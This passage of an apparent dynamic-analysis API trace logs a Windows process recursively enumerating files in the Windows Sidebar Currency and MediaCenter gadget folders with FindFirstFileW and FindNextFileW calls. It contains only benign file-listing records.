ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.567] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0060.576] GetLastError () returned 0x12 [0060.588] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0060.589] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0060.589] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0060.589] GetLastError () returned 0x12 [0060.589] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0060.589] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0060.589] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0060.589] GetLastError () returned 0x12 [0060.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0060.726] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.726] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0060.726] GetLastError () returned 0x12 [0060.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0060.726] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.726] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0060.727] GetLastError () returned 0x12 [0060.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0060.727] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.727] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0060.727] GetLastError () returned 0x12 [0060.727] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0060.727] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0060.727] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0060.728] GetLastError () returned 0x12 [0060.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0060.728] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.728] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0060.728] GetLastError () returned 0x12 [0060.728] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0060.728] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0060.728] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0060.728] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0060.729] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.729] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296c7da5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x296c7da5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0060.729] GetLastError () returned 0x12 [0060.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0060.845] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.845] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0060.846] GetLastError () returned 0x12 [0060.846] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0060.847] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.847] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0060.847] GetLastError () returned 0x12 [0060.847] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0060.847] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0060.848] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="MEDIAC~1.GAD")) returned 1 [0060.848] GetLastError () returned 0x12 [0060.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0060.927] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.927] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0060.927] GetLastError () returned 0x12 [0060.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0060.928] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.928] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0060.928] GetLastError () returned 0x12 [0060.928] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0060.928] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.928] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0060.928] GetLastError () returned 0x12 [0060.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0060.928] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.928] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0060.929] GetLastError () returned 0x12 [0060.929] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0060.929] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0060.929] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0060.929] GetLastError () returned 0x12 [0060.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0061.064] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.064] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0061.064] GetLastError () returned 0x12 [0061.065] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0061.066] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.066] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0061.066] GetLastError () returned 0x12 [0061.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, 